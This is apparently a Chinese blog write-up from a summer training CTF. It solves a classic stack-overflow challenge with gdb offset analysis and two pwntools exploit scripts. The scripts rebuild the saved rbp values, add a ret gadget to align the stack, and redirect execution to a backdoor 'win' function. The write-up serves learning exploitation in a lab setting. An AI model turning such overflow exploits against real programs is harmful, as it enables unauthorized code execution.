首页 > 其他分享 >暑期集训经典栈溢出

暑期集训经典栈溢出

时间:2024-07-16 15:20:23浏览次数:25  
标签:p64 16 hex 暑期 rbp 地址 buf 集训 溢出

checksec看保护:NX
ida看一下

(这是main函数)

func1()

func2()

func3()

func4()

func5()

先静态分析一波:

进到func5()之后系统会给一个起始地址,从这个地址开始输入,判断一下rbp指的地址有没有被改掉,被改掉就fail了,而很直观的看出buf有溢出漏洞,程序中又有后门函数win,所以就将返回地址覆盖成win就可以了。因为func1-5中间基本上都会判断rbp是否改变,所以我们不妨让程序正常执行返回到main函数后将main那里的返回地址覆盖。
然而,如果我们像之前一样只是简单的用字母覆盖,必然会导致rbp指向的地址改变,所以我们需要在构造payload时恢复rbp,这就需要我们计算出各函数返回地址所在位置相对于起始地址的偏移,可以通过gdb调试找到:

gdb调试

看到各函数rbp指针及返回地址,打勾处为main的rbp,下面即为我们win要覆盖的地址

wp
from pwn import *

context(log_level='debug', arch="amd64", os='linux')

#p=remote("127.0.0.1",40731)
p = process("./flock")

win_addr = 0x4011b9

p.recvuntil(b'Song Begins At ')
buf = p.recvline().strip()   #接收地址并删去换行符
buf = int(buf, 16)           #转成16进制整型

#log.info(f"Address in hexadecimal: {buf}")   #输出出来看看是不是我们想要的(嗨嗨发现不是【微笑】)

buf1 = hex(buf +0xa0)         #就这样转来转去的也不知道在转什么
buf2 = hex(buf +0xc0)
buf3 = hex(buf +0xe0)
buf4 = hex(buf +0xf0)


payload = b'A'*0x80 + p64(int(buf1,16))+p64(0x401276)+ b'A'*0x10 + p64(int(buf2,16))+p64(0x4012A0)+b'A'*0x10 + p64(int(buf3,16))+p64(0x4012CA)+b'A'*0x10 + p64(int(buf4,16)) + p64(0x4012F0) +b'A'*0x8+ p64(0x0000000000401016 ) + p64(win_addr)
#0x0000000000401016是ret的gadget,用来平衡栈
gdb.attach(p)
pause()

p.sendline(payload)

p.interactive()

注:
1.上述0x401276等在ida上就能看到,恢复完rbp记得还要恢复返回地址,最后main的rbp无需恢复,覆盖即可。
2.一开始没有平衡栈(rsp0x10对齐),会出现下面这样(执行不下去的地方)


这里我们看到rsp没有0x10对齐,所以加一个ret来平衡栈,加完之后就可以了。

3.在算偏移之前要先把地址接收进来,python转16进制地址真的很让人费解()

后记:这样转16进制也行!!!!!【激动】【欢呼】(从上次做的ret2libc脚本里面找到的方法!)

from pwn import *

context(log_level='debug', arch="amd64", os='linux')

#p=remote("127.0.0.1",40731)
p = process("./flock")

win_addr = 0x4011b9

p.recvuntil(b'Song Begins At ')
buf = p.recvline().strip()
buf = int(buf, 16)

#log.info(f"Address in hexadecimal: {buf}")

buf1 = buf +0xa0
buf2 = buf +0xc0
buf3 = buf +0xe0
buf4 = buf +0xf0

print(hex(buf1))
print(hex(buf2))
print(hex(buf3))
print(hex(buf4))


payload = b'A'*0x80 + p64(buf1)+p64(0x401276)+ b'A'*0x10 +p64(buf2)+p64(0x4012A0)+b'A'*0x10 + p64(buf3)+p64(0x4012CA)+b'A'*0x10 + p64(buf4)+ p64(0x4012F0) + b'A'*0x8 + p64(0x0000000000401016 ) + p64(win_addr)

gdb.attach(p)
pause()

p.sendline(payload)

p.interactive()

总之能学到东西就好【双手合十】【神态安详】

标签:p64,16,hex,暑期,rbp,地址,buf,集训,溢出
From: https://www.cnblogs.com/V1V0/p/18305263

相关文章

  • 暑期集训ezret(学会看gdb)
    64位ida打开并反汇编的main():进入input_person函数:仔细看可以找到一个特别的函数名win,点进去发现是后门:根据ida看出程序的基本逻辑是输入name和age,输出age和name很多时候ida会抽风(bushi),就比如operater=里面的参数没给,不过没关系,我们可以猜(),可以看出input_person里面v11(age)......
  • 集训(二)-流量分析
    0x01题目来源暑期训练0x02解题思路下载第一题附件easy_pcap1寻找flag字符右键,追踪复制网址,打开获得flag下载第二题附件,寻找字符flag,追踪发现为PNG图片,找到下方的PNG选中PNG在左下角中寻找,ProtableNetworkGraphics右键显示分组字节,显示为图像,即可......
  • 暑期特训——2023河南省赛
    A(模拟)题目大意输入输出题目思路枚举下标i,从左往右枚举,直到出现重复字符判断s[i+1:]是否是回文串注意:题目中说a和b是非空的题目代码fromsysimportstdin,setrecursionlimitsetrecursionlimit(100000)input=lambda:stdin.readline().strip()r1=lambda:......
  • 暑期观影 / 纪录片推荐
    前言推荐指数为\(1\sim6\)的整数,指数越高表示个人认为该影视作品更值得观看。纪录片《风味人间》:继《舌尖上的中国》后又一美食纪录片巨作,这次将镜头对准了全球,在观看美食的同时了解各地的地理特点、风土人情;(推荐指数:5)《航拍中国》:可以让你一边游览大美中国,一边学习地理知......
  • C/C++ 避免缓冲区溢出的措施
    在C/C++中,缓冲区溢出是一种常见的安全问题,可以导致程序崩溃或安全漏洞。为了避免缓冲区溢出,可以采取以下防范措施:使用安全的函数:使用strncpy(), strncat(), snprintf()等函数代替strcpy(), strcat(), sprintf()等,这些函数允许你指定最大复制的字符数,从而避免溢出。......
  • 最喜欢dp动态规划的一次(暑期刷题)
    以积极的态度面对生活,才能感受到人生的美好!dp动态规划-第一天前言1、环绕字符串中唯一的子字符串2、最长递增子序列3、摆动序列4、最长递增子序列的个数5、最长数对链6、最长定差子序列7、最长的斐波那契子序列的长度8、总结前言所有的问题可能不止一种方法,但是由......
  • 暑期训练第一周周报
    总体学习情况这周的强度还是很大的,二分和简单数据结构的牛客题单还没有刷完,想着把补题放到第一位,然后后面慢慢补上那些没有做的题,比赛打得还是依旧很拉,不过没有关系,太阳照常升起,总会赢的。知识点模块1.Floyd算法用来求两点到达的最小代价,复杂度是O(n3)其实代码并不难记,可以说板......
  • 暑期每周总结
     每周总结 这一周,我进行大数据技术的学习和应用。首先,我成功配置了Hadoop的YARN和Hive。YARN是Hadoop的资源管理器,它在集群上管理和调度计算资源,而Hive是一个基于Hadoop的数据仓库工具,它提供了类似SQL的查询语言,用于分析存储在Hadoop分布式文件系统(HDFS)中的大数据。通过这次配......
  • 暑假集训 · 第一间
    7.11上午唐诗名校联考也是考完了看得出来学校很重视这次考试啊答题卡都印的黑白的……你说得对,但是请你先赏析一下微醺不过这并不能影响我的发挥成功的一张卷子也没做完......
  • 南京大学计算理论之美 (Summer 2024)暑期学校游记
    day-nzero4338和我说有这么个暑校,报名了day0到了钟山风雨地,石头城下水南京到了南京大学(仙林校区),被硬件震撼了一波和zero4338两人互相贩卖焦虑:为啥还没预习这个,也没预习那个到了南京大学(鼓楼校区),和同学转鼓楼校区,和同学和zero4338和同学吃饭回酒店之后说预习预习,但是......